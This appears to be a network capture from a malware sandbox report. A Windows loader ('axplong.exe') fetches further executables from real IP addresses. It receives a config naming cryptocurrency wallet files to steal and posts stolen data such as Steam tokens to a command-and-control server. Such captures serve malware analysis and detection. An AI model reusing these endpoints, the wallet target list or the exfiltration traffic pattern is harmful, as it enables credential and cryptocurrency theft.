Jul 13, 2024 07:07:16.103151083 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 13, 2024 07:07:16.108472109 CEST	463	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 85.28.47.70 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"files------AFBFHDBKJEGHJJJKFIIJ--
Jul 13, 2024 07:07:16.287020922 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:16.336527109 CEST	561	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 85.28.47.70 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file"------CBGCAFIIECBFIDHIJKFB--
Jul 13, 2024 07:07:16.518029928 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:16.695674896 CEST	201	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH Host: 85.28.47.70 Content-Length: 114463 Connection: Keep-Alive Cache-Control: no-cache
Jul 13, 2024 07:07:17.101169109 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:17.149300098 CEST	468	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: 85.28.47.70 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="message"jbdtaijovg------KFHJJJKKFHIDAAKFBFBF--
Jul 13, 2024 07:07:17.331065893 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	58982	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:04.327316046 CEST	56	OUT	GET /lend/build16666.exe HTTP/1.1 Host: 77.91.77.81
Jul 13, 2024 07:07:05.044408083 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:04 GMT Content-Type: application/octet-stream Content-Length: 1743872 Last-Modified: Tue, 09 Jul 2024 00:56:44 GMT Connection: keep-alive ETag: "668c8acc-1a9c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 ea 7e 8c 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 00 00 00 4e 19 00 00 98 1a 00 00 60 06 00 d0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 60 21 00 00 04 00 00 22 19 1b 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 21 00 64 06 00 00 00 40 21 00 38 01 00 00 00 20 1a 00 74 46 00 00 00 00 00 00 00 00 00 00 00 50 21 00 24 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 11 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd~f.N`@`!"` !d@!8 tFP!$(!p.textXMN``.data@`R@.rdatap\@@.pdatatF H@@.xdata;p<N@@.bss^.idatad!@.CRTh !@.tls0!@.rsrc8@!@.reloc$P!@B
Jul 13, 2024 07:07:05.044431925 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 83 ec 28 48 8b 05 45 09 Data Ascii: ff.@H(HE1HFHIHHf8MZuHcP<H8PEtiHuFK7LHLHp:H 8tS1H
Jul 13, 2024 07:07:05.044446945 CEST	1236	IN	Data Raw: 0f 1f 44 00 00 48 8b 15 59 03 1a 00 48 8b 0d 42 03 1a 00 c7 06 01 00 00 00 e8 67 47 19 00 e9 70 fd ff ff 89 c1 e8 3b 47 19 00 90 66 2e 0f 1f 84 00 00 00 00 00 48 83 ec 28 48 8b 05 65 04 1a 00 c7 00 01 00 00 00 e8 aa fc ff ff 90 90 48 83 c4 28 c3 Data Ascii: DHYHBgGp;Gf.H(HeH(H(HEH(H(FHH(H@H(HL$ HHL$ H(8HHT$hHL$pHHH
Jul 13, 2024 07:07:05.044461966 CEST	1236	IN	Data Raw: 09 48 89 4c 24 58 48 8b 48 08 48 8b 00 48 39 c1 48 89 44 24 60 0f 8f 17 00 00 00 48 8b 4c 24 68 e8 da 27 01 00 48 8b 44 24 68 48 8b 00 48 89 44 24 60 48 8b 4c 24 58 4c 8b 4c 24 78 48 8b 44 24 68 48 8b 54 24 60 48 8b 40 10 49 89 d2 49 c1 e2 04 49 Data Ascii: HL$XHHHH9HD$`HL$h'HD$hHHD$`HL$XLL$xHD$hHT$`H@IIIMMIILHHH*XeiH+XeiH1H04I#9kZ$L1H1H&I&L1Ir~Z`Ir~Z`M1L)H)HH)HL$PHHHH1H!HZzI
Jul 13, 2024 07:07:05.044477940 CEST	1236	IN	Data Raw: 31 c2 48 09 c8 48 b9 5c 0e fd 93 d2 76 3c d7 49 b8 52 2c 3c 3a 02 aa f8 de 4c 31 c1 48 09 d1 48 ba 49 6b c2 d8 a6 18 0d 40 49 b8 b6 94 3d 27 59 e7 f2 bf 4c 31 c2 48 31 d0 48 21 c8 48 83 f8 00 0f 8d 0a 00 00 00 e8 02 87 00 00 e9 0d 00 00 00 48 8b Data Ascii: 1HH\v<IR,<:L1HHIk@I='YL1H1H!HHD$hHL$(HHH(HL$ HpUHL$ H(CHHT$hHL$pHHHD$xHAH$HHD$hH$HHL$XHHHH9HD$`HL$h:"H
Jul 13, 2024 07:07:05.044507980 CEST	1236	IN	Data Raw: 9c b0 ad 9a 4d 31 c8 4c 29 c1 48 29 ca 48 89 c1 48 83 c1 01 49 b8 5b 25 c2 36 09 12 28 21 49 b9 a4 da 3d c9 f6 ed d7 de 4d 31 c8 4c 31 c0 48 09 d0 48 01 c8 48 83 f8 00 0f 8d 0a 00 00 00 e8 36 82 00 00 e9 0d 00 00 00 48 8b 44 24 68 48 8b 4c 24 28 Data Ascii: M1L)H)HHI[%6(!I=M1L1HHH6HD$hHL$(HHH(HL$ HHL$ H(EHHT$hHL$pHHHD$xHAH$HHD$hH$HHL$XHHHH9HD$`HL$hnHD$hHH
Jul 13, 2024 07:07:05.044523954 CEST	776	IN	Data Raw: d0 48 ba 25 f1 ce f4 67 e2 f5 75 49 b9 27 f1 ce f4 67 e2 f5 75 4c 31 ca 49 0f af d0 49 b8 ec 45 95 21 b8 1d 0a 4d 49 b9 13 ba 6a de 47 e2 f5 b2 4d 31 c8 4c 01 c1 48 29 d1 48 09 c0 48 ba ec 2b cc 3e bb ea f4 ba 49 b8 13 d4 33 c1 44 15 0b 45 4c 31 Data Ascii: H%guI'guL1IIE!MIjGM1LH)HH+>I3DEL1H1HHHHHZ$A7HZ$A7H1H9}HD$hHL$(HHH(HL$ Ho{HL$ H(!HHT$hHL$pHHHD$xHAH$H
Jul 13, 2024 07:07:05.044539928 CEST	1236	IN	Data Raw: 89 c8 49 c1 e0 04 4c 01 c0 48 83 c0 08 48 89 10 48 ba f2 dd b9 0a 66 23 33 ff 48 b8 f3 dd b9 0a 66 23 33 ff 48 31 c2 48 89 c8 48 01 d0 48 89 44 24 28 48 83 f1 ff 48 21 c8 48 b9 d1 6a 3f db d1 92 ef 36 48 ba d1 6a 3f db d1 92 ef 36 48 31 d1 48 39 Data Ascii: ILHHHf#3Hf#3H1HHHD$(HH!Hj?6Hj?6H1H9?zHD$hHL$(HHH(HL$ HxHL$ H("HHT$hHL$pHHHD$xHAH$HHD$hH$HHL$XHHHH9HD$
Jul 13, 2024 07:07:05.044555902 CEST	1236	IN	Data Raw: 0f af c1 49 b8 85 eb 78 a9 33 b6 54 d2 48 b9 84 eb 78 a9 33 b6 54 d2 49 31 c8 48 89 d1 4c 31 c1 48 01 c1 48 89 4c 24 28 48 b8 59 e3 b9 1a b2 f8 74 2e 49 b8 a6 1c 46 e5 4d 07 8b d1 4c 31 c0 48 31 c2 49 b8 8f fa 62 2e 37 39 e3 94 48 b8 70 05 9d d1 Data Ascii: Ix3THx3TI1HL1HHL$(HYt.IFML1H1Ib.79HpkI1HL1I6gUiI*FM1IM1LH!HDP?$nICL1H1HeSI?EyL1H1HHHtHD$hHL$(HHUHpHl$pHM
Jul 13, 2024 07:07:05.044570923 CEST	1236	IN	Data Raw: 89 45 d0 48 8b 00 48 89 45 d8 48 b9 94 ca 69 7e 4d 29 07 38 48 ba 84 ca 69 7e 4d 29 07 38 48 31 d1 48 39 c8 0f 82 a9 00 00 00 48 8b 55 d8 48 b9 2c d4 1b d2 bd 92 44 d9 48 89 d0 48 29 c8 48 b9 de 99 6f 6b 61 2a e8 de 49 b8 2e 66 90 94 9e d5 17 21 Data Ascii: EHHEHi~M)8Hi~M)8H1H9HUH,DHH)Hoka*I.f!L1HH,DHHEHH1HH0 H YpH _HUHEHMHL1H H 1HUHELH HEH
Jul 13, 2024 07:07:05.050012112 CEST	1236	IN	Data Raw: c4 20 48 8b 45 e0 48 8b 4d e8 48 8b 50 28 48 89 11 48 8b 40 30 48 89 41 08 48 83 ec 20 e8 a3 07 01 00 48 8b 45 e0 48 83 c4 20 48 89 c1 48 83 c1 38 48 89 4d b0 48 8b 40 38 48 89 45 b8 48 8b 05 75 df 19 00 8b 08 48 83 ec 20 e8 56 6a 00 00 48 83 c4 Data Ascii: HEHMHP(HH@0HAH HEH HH8HMH@8HEHuH VjH HEH;HEH/\|SPH.omH1HHEHHEH_EH_EH1H9LELHHEHL!H7pgI5pgL1HHLH)HHQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	58983	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:07.333580971 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000210001&unit=246122658369
Jul 13, 2024 07:07:08.052978039 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	58985	43.153.49.49	8888	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:08.225328922 CEST	64	OUT	GET /down/1qWbf4Bsej2u.exe HTTP/1.1 Host: 43.153.49.49:8888
Jul 13, 2024 07:07:08.816710949 CEST	1236	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=malwareterminator.exe Content-Type: application/octet-stream Content-Length: 9044480 Last-Modified: Tue, 09 Jul 2024 16:52:05 GMT Cache-Control: no-cache, max-age=0 Expires: Sat, 13 Jul 2024 05:07:08 GMT ETag: "1720543925.858068-9044480-4009102778" Date: Sat, 13 Jul 2024 05:07:08 GMT Server: nginx Connection: keep-alive X-Frame-Options: SAMEORIGIN Set-Cookie: c50233950c3f39bd96d165eee1995d77=7d1ca6fd-988a-4c5d-8fa3-4819fb68e293.GnPbrHdIWIEVe5YevsRskVA_fvc; Expires=Mon, 12 Aug 2024 05:07:08 GMT; HttpOnly; Path=/ Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 24 00 bc 30 00 00 fe 89 00 00 fa 08 00 c0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 93 00 00 04 00 00 e0 48 8a 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 50 90 00 4e 00 00 00 00 60 90 00 58 14 00 00 00 a0 90 00 4c a9 01 00 00 00 86 00 2c 36 01 00 00 00 00 00 00 00 00 00 00 50 92 00 f8 1b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e5 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd.$0@pH` PN`XL,6P@(dX.text00```.data5060@`.rdatapO6O5@`@.pdata,68@0@.xdataP@@0@.bss@P`.edataNP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	58987	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:11.784414053 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 32 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000219001&unit=246122658369
Jul 13, 2024 07:07:12.485552073 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	58988	185.172.128.116	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:12.494908094 CEST	55	OUT	GET /Freshbuild.exe HTTP/1.1 Host: 185.172.128.116
Jul 13, 2024 07:07:13.152534962 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:13 GMT Content-Type: application/octet-stream Content-Length: 424960 Last-Modified: Sun, 16 Jun 2024 06:41:45 GMT Connection: keep-alive ETag: "666e8929-67c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 29 89 6e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 ea d7 01 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL)nf@@,K8l@.text `.rdata:@@.datae 4@.rsrc.@@.relocKL0@B
Jul 13, 2024 07:07:13.152544022 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 30 c1 44 00 e8 4a c5 01 00 59 c3 cc cc cc cc 68 d0 c0 44 00 e8 3a c5 01 00 59 Data Ascii: h0DJYhD:Yj hPE$,FnhDYj htE1FnhDYjhEl2FnhPDYj hE-FonhDYjhE1FOnhDY
Jul 13, 2024 07:07:13.152673960 CEST	1236	IN	Data Raw: cc cc cc 6a 04 68 64 85 45 00 b9 6c 2f 46 00 e8 4f 6a 01 00 68 10 cf 44 00 e8 99 c0 01 00 59 c3 cc cc cc 6a 04 68 6c 85 45 00 b9 78 34 46 00 e8 2f 6a 01 00 68 70 cf 44 00 e8 79 c0 01 00 59 c3 cc cc cc 6a 04 68 74 85 45 00 b9 ec 30 46 00 e8 0f 6a Data Ascii: jhdEl/FOjhDYjhlEx4F/jhpDyYjhtE0FjhDYYjh\|E85Fih0D9YjhET2FihDYjhEFihDYjhEFihPDYjhE.Foi
Jul 13, 2024 07:07:13.152683973 CEST	672	IN	Data Raw: 68 50 dd 44 00 e8 d9 bb 01 00 59 c3 cc cc cc 6a 08 68 74 87 45 00 b9 fc 2f 46 00 e8 6f 65 01 00 68 b0 dd 44 00 e8 b9 bb 01 00 59 c3 cc cc cc 6a 08 68 80 87 45 00 b9 a4 33 46 00 e8 4f 65 01 00 68 10 de 44 00 e8 99 bb 01 00 59 c3 cc cc cc 6a 10 68 Data Ascii: hPDYjhtE/FoehDYjhE3FOehDYjhE.F/ehpDyYjhE4FehDYYjhE5Fdh0D9YjhE2FdhDYj@hE\-FdhDYjh
